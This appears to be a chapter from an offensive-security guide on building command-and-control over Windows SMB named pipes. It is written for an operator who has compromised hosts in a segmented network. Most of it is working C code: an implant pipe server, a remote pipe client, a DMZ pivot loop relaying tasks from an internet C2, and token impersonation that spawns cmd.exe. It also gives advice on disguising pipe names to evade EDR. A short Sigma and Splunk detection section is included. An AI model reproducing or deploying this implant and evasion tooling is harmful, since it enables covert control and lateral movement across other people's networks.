Chapter 115

SMB Named Pipe C2

Building C2 channels over Windows named pipes — local and remote pipe servers, IPC$ connections, impersonation, peer-to-peer SMB beaconing in segmented networks, and pipe-based lateral movement

Scenario

You've compromised three hosts in a segmented manufacturing network. None has direct internet access. Only one — a DMZ jump server — can reach your external C2. Rather than establishing three separate outbound HTTPS channels (all of which would require firewall exceptions), you chain the implants: DMZ host has your external HTTPS beacon. The other two hosts run SMB named pipe listeners. The DMZ host connects to each via \\HOST\pipe\svchost_update, proxying tasks from the internet C2 down the SMB chain. Internal SMB traffic is expected and unsuspicious. You control all three hosts through a single external connection.

Named Pipe Fundamentals

Named Pipe: an IPC mechanism for bidirectional byte-stream communication. Local pipes: \\.\pipe\ (same machine only) Remote pipes: \\\pipe\ (over network via SMB IPC$) Pipe types: PIPE_TYPE_BYTE — stream of bytes (like a socket) PIPE_TYPE_MESSAGE — framed messages (each Write is one atomic unit) Pipe directions: PIPE_ACCESS_DUPLEX — both read and write (typical for C2) PIPE_ACCESS_INBOUND — server reads, client writes PIPE_ACCESS_OUTBOUND — server writes, client reads Overlapped I/O: Named pipes support asynchronous (OVERLAPPED) I/O via FILE_FLAG_OVERLAPPED Required for non-blocking multi-client servers (accept new clients while handling existing ones) Security: Pipe DACL controls who can connect (like file permissions) ImpersonateNamedPipeClient() — server can steal the client's token Server can enforce minimum impersonation level: SecurityImpersonation

Server: Creating a Named Pipe Listener

// Named pipe C2 server — accepts one client at a time, receives task results

#define PIPE_NAME       L"\\\\.\\pipe\\svchost_update"
#define PIPE_BUFSIZE    65536

HANDLE CreatePipeServer() {
    // Security attributes: NULL = default DACL (only same user or Administrators)
    // To allow any user to connect (e.g., connecting from other sessions):
    SECURITY_ATTRIBUTES sa = {0};
    SECURITY_DESCRIPTOR sd = {0};
    InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
    SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);  // NULL DACL = everyone
    sa.nLength = sizeof(sa);
    sa.lpSecurityDescriptor = &sd;
    sa.bInheritHandle = FALSE;

    HANDLE hPipe = CreateNamedPipeW(
        PIPE_NAME,
        PIPE_ACCESS_DUPLEX |
        FILE_FLAG_OVERLAPPED,               // async I/O
        PIPE_TYPE_MESSAGE |
        PIPE_READMODE_MESSAGE |
        PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,           // allow multiple instances
        PIPE_BUFSIZE,                       // output buffer size
        PIPE_BUFSIZE,                       // input buffer size
        0,                                  // default timeout
        &sa
    );

    if (hPipe == INVALID_HANDLE_VALUE) {
        wprintf(L"[-] CreateNamedPipe failed: %d\n", GetLastError());
        return INVALID_HANDLE_VALUE;
    }
    return hPipe;
}

DWORD WINAPI PipeServerThread(LPVOID) {
    while (1) {
        HANDLE hPipe = CreatePipeServer();
        if (hPipe == INVALID_HANDLE_VALUE) break;

        // Wait for client connection (blocking)
        if (!ConnectNamedPipe(hPipe, NULL)) {
            DWORD err = GetLastError();
            if (err != ERROR_PIPE_CONNECTED) {  // already connected before ConnectNamedPipe
                CloseHandle(hPipe);
                continue;
            }
        }

        // Client connected — read message
        BYTE buf[PIPE_BUFSIZE] = {0};
        DWORD bytesRead = 0;
        BOOL ok = ReadFile(hPipe, buf, PIPE_BUFSIZE, &bytesRead, NULL);
        if (ok && bytesRead > 0) {
            ProcessTask(hPipe, buf, bytesRead);
        }

        FlushFileBuffers(hPipe);
        DisconnectNamedPipe(hPipe);
        CloseHandle(hPipe);
    }
    return 0;
}

void ProcessTask(HANDLE hPipe, BYTE* msg, DWORD msgLen) {
    // Parse command ID + args from message header
    if (msgLen < 4) return;
    DWORD cmdId = *(DWORD*)msg;
    BYTE* args  = msg + 4;
    DWORD argsLen = msgLen - 4;

    BYTE result[PIPE_BUFSIZE] = {0};
    DWORD resultLen = 0;
    DispatchTask(cmdId, args, argsLen, result, &resultLen);

    // Send result back through the pipe
    DWORD written = 0;
    WriteFile(hPipe, result, resultLen, &written, NULL);
}

Client: Connecting to Remote Named Pipe

// Connect to named pipe on remote host over SMB (\\TARGET\pipe\name)

HANDLE ConnectToPipe(const wchar_t* host, const wchar_t* pipeName) {
    wchar_t path[256] = {0};
    swprintf_s(path, 256, L"\\\\%s\\pipe\\%s", host, pipeName);

    // Wait for the pipe to be available (retry up to 10 seconds)
    if (!WaitNamedPipeW(path, 10000)) {
        wprintf(L"[-] Pipe unavailable: %d\n", GetLastError());
        return INVALID_HANDLE_VALUE;
    }

    HANDLE hPipe = CreateFileW(
        path,
        GENERIC_READ | GENERIC_WRITE,
        0,              // no sharing
        NULL,
        OPEN_EXISTING,
        0,              // no flags (synchronous)
        NULL
    );

    if (hPipe == INVALID_HANDLE_VALUE) {
        wprintf(L"[-] Connect failed: %d\n", GetLastError());
        return INVALID_HANDLE_VALUE;
    }

    // Switch pipe to message mode
    DWORD mode = PIPE_READMODE_MESSAGE;
    SetNamedPipeHandleState(hPipe, &mode, NULL, NULL);

    return hPipe;
}

// Send task + receive result via pipe
BOOL PipeSendTask(const wchar_t* host, DWORD cmdId, BYTE* args, DWORD argsLen,
                  BYTE* resultBuf, DWORD resultMax, DWORD* resultLen) {
    HANDLE hPipe = ConnectToPipe(host, L"svchost_update");
    if (hPipe == INVALID_HANDLE_VALUE) return FALSE;

    // Build message: [4-byte cmdId][args]
    BYTE msg[65536] = {0};
    *(DWORD*)msg = cmdId;
    memcpy(msg + 4, args, argsLen);

    DWORD written = 0;
    WriteFile(hPipe, msg, 4 + argsLen, &written, NULL);

    // Read result
    *resultLen = 0;
    ReadFile(hPipe, resultBuf, resultMax, resultLen, NULL);

    CloseHandle(hPipe);
    return *resultLen > 0;
}

SMB Named Pipe C2 — Peer-to-Peer Architecture

P2P SMB C2 topology — segmented network traversal: [Internet] │ HTTPS ▼ [DMZ Host — has internet egress] beacon.exe connects to external HTTPS C2 Also runs: SMB_PipeController.exe │ │ SMB TCP/445 (\\INTERNAL01\pipe\svchost_update) ▼ [Internal Host 1 — no internet] pipe_implant.exe (server listening on named pipe) │ │ SMB TCP/445 (\\INTERNAL02\pipe\svchost_update) ▼ [Internal Host 2 — no internet] pipe_implant.exe Operator sends task to external C2 → C2 queues task for DMZ beacon → DMZ beacon fetches task (HTTPS) → DMZ beacon connects via SMB to INTERNAL01 pipe → Sends task bytes to INTERNAL01 pipe → INTERNAL01 executes, returns result via same pipe connection → DMZ beacon POSTs result to external C2 (HTTPS) Advantages: Only one internet-facing connection (DMZ host) Internal C2 traffic blends with SMB file sharing / authentication No internal host needs internet access Each internal host has zero external C2 artifacts Disadvantages: SMB port 445 must be open between hosts Named pipe connections generate Event 4656 (pipe access) New/custom pipe names are detectable

Impersonation over Named Pipe

// After a client connects, the pipe SERVER can impersonate the CLIENT's token
// Useful when a higher-privileged process connects to your pipe

BOOL ImpersonatePipeClient(HANDLE hPipe) {
    // Impersonate the connected client — thread now runs as client's user
    if (!ImpersonateNamedPipeClient(hPipe)) {
        wprintf(L"[-] ImpersonateNamedPipeClient failed: %d\n", GetLastError());
        return FALSE;
    }

    // Now running as the client — can access resources as them
    HANDLE hToken = NULL;
    OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken);

    // Check impersonated identity
    WCHAR userName[256] = {0};
    DWORD nameLen = 256;
    GetUserNameW(userName, &nameLen);
    wprintf(L"[+] Impersonating: %s\n", userName);

    // Create a new process running as the impersonated user
    DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
                     SecurityImpersonation, TokenPrimary, &hToken);
    CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE,
                             NULL, L"cmd.exe", NULL, NULL, NULL, NULL,
                             &si, &pi);

    RevertToSelf();  // end impersonation when done
    return TRUE;
}

// Attack scenario: create pipe that a SYSTEM or high-priv service connects to
// This is the "Potato" attack class foundation — covered in privilege escalation chapters

Pipe Name Masquerading

Legitimate Windows Pipe NamesUse as Cover
\pipe\lsassRisky — highly monitored, LSASS is known target
\pipe\svcctlService control manager — low-level, may trigger EDR
\pipe\wkssvcWorkstation service — expected on domain networks
\pipe\srvsvcServer service — file sharing, common on servers
\pipe\netlogonDC authentication pipe — domain-joined only, suspicious on workstations
\pipe\msrpcRPC endpoint — extremely common
Custom: \pipe\MicrosoftOfficeUpdate_v3Plausible for enterprise software polling; low scrutiny
Custom: \pipe\WindowsUpdateService_syncBlends with Windows Update activity
EDR Pipe Name Monitoring
Modern EDR products (CrowdStrike, SentinelOne, Microsoft Defender ATP) hook CreateNamedPipe and ConnectNamedPipe and alert on pipe names that match known C2 tools. Cobalt Strike's default pipe names (postex_*, mojo.*, msagent_*, MSSE-*) are well-known. Use randomized but plausible names and ensure your malleable profile specifies a custom pipe name. Avoid numeric-only suffixes like pipe123 which are common in automated tools.

Full SMB Pivot C2 Loop

// DMZ host acting as pivot between internet C2 and internal named pipe implants

typedef struct _PIVOT_TARGET {
    wchar_t  hostname[256];
    wchar_t  pipeName[128];
} PIVOT_TARGET;

PIVOT_TARGET g_targets[] = {
    { L"INTERNAL01", L"svchost_update" },
    { L"INTERNAL02", L"svchost_update" },
};

DWORD WINAPI PivotWorker(LPVOID arg) {
    PIVOT_TARGET* target = (PIVOT_TARGET*)arg;

    while (1) {
        Sleep(5000);  // poll internal hosts every 5s

        // Fetch task for this target from internet C2 via HTTPS
        BYTE task[4096] = {0};
        DWORD taskLen = 0;
        if (!FetchTaskFromC2(target->hostname, task, sizeof(task), &taskLen)) continue;
        if (taskLen == 0) continue;  // no pending tasks

        // Forward task to named pipe on internal host
        BYTE result[65536] = {0};
        DWORD resultLen = 0;
        DWORD cmdId = *(DWORD*)task;
        BOOL ok = PipeSendTask(target->hostname, cmdId,
                               task + 4, taskLen - 4,
                               result, sizeof(result), &resultLen);
        if (!ok) continue;

        // Post result back to internet C2
        PostResultToC2(target->hostname, result, resultLen);
    }
    return 0;
}

void StartPivotThreads() {
    for (int i = 0; i < _countof(g_targets); i++) {
        CreateThread(NULL, 0, PivotWorker, &g_targets[i], 0, NULL);
    }
}

Detection Engineering

-- Sysmon + Sigma: Named pipe creation by unexpected processes

-- Sysmon Event ID 17 (Pipe Created), 18 (Pipe Connected)
-- Enable: Sysmon config PipeEvent section

-- Sigma rule for suspicious named pipe creation:
title: Suspicious Named Pipe Creation
logsource:
  product: windows
  category: pipe_created
detection:
  selection:
    EventID: 17
    PipeName|re: '^\\\\(postex|mojo|msagent|MSSE|\\d{4,})'
  filter_legitimate:
    Image|contains:
      - '\\chrome.exe'
      - '\\MicrosoftEdge'
  condition: selection AND NOT filter_legitimate
falsepositives: Some legitimate software, tune per environment
level: medium

-- Windows Security Event 4656 (Object access - named pipe)
-- Event 4663 (File read/write on pipe) when Object Server = 'Security' and Object Type = 'Pipe'

-- Splunk: Detect SMB lateral movement via named pipe access pattern
-- Cross-host SMB pipe connections from non-standard source processes
index=wineventlog source=Security EventCode=4656
  ObjectType="Pipe" AccessMask="0x12019f"  -- read+write pipe access
| join SubjectLogonId [search EventCode=4624 LogonType=3]  -- SMB network logon
| stats count by SubjectUserName, ObjectName, WorkstationName
| where NOT ObjectName IN ("\pipe\srvsvc", "\pipe\wkssvc", "\pipe\netlogon",
                           "\pipe\lsarpc", "\pipe\samr", "\pipe\svcctl")
| sort -count

Q&A

What is the difference between PIPE_TYPE_BYTE and PIPE_TYPE_MESSAGE, and which should a C2 use?

PIPE_TYPE_BYTE creates a stream where data flows as a continuous byte sequence with no message boundaries, similar to a TCP socket. If the server writes 100 bytes and 200 bytes in two separate WriteFile calls, the client might read all 300 in one ReadFile call, or in three separate reads of any size. The receiver must implement its own framing protocol (e.g., a length prefix) to know where messages begin and end. PIPE_TYPE_MESSAGE preserves message boundaries: each WriteFile on the server side creates exactly one "message," and each ReadFile on the client side reads exactly one message. If the read buffer is too small, the call returns ERROR_MORE_DATA and a subsequent read gets the rest of the message. For C2, PIPE_TYPE_MESSAGE is almost always better: commands and results are naturally discrete units with variable lengths. Message mode avoids the need to implement your own framing, reduces code complexity, and eliminates the class of bugs where partial reads cause corrupted task parsing. The downside is that each message is limited to the pipe's buffer size (typically 65,536 bytes). For large data transfers over a pipe, either chunk the data into multiple messages or use byte mode with your own length-prefixed framing.

Why does creating a named pipe with a NULL DACL create a security risk beyond the intended C2 use?

A NULL DACL (set via SetSecurityDescriptorDacl(..., NULL, FALSE)) grants access to everyone, including unauthenticated users at the network level. For a local-only C2 pipe this is sometimes acceptable, but for a pipe accessible via SMB (\\HOST\pipe\name), any domain user or guest who can reach the host via SMB can connect to the pipe, potentially sending it arbitrary commands. If the pipe server's DispatchTask function doesn't validate the caller's identity, an adversary-in-the-middle or a different attacker already in the environment could send tasks to your own implant. The right approach for C2 pipes is: restrict the DACL to the specific user account your implant runs as (the current user SID), or to a specific group, rather than using NULL. Use ConvertStringSecurityDescriptorToSecurityDescriptor with an SDDL string like D:(A;;GRGW;;;SY)(A;;GRGW;;;BA) to allow only SYSTEM and Administrators. This prevents other processes or users from connecting to your pipe and injecting commands, while still allowing your legitimate pivot controller (running as SYSTEM or Administrator) to connect.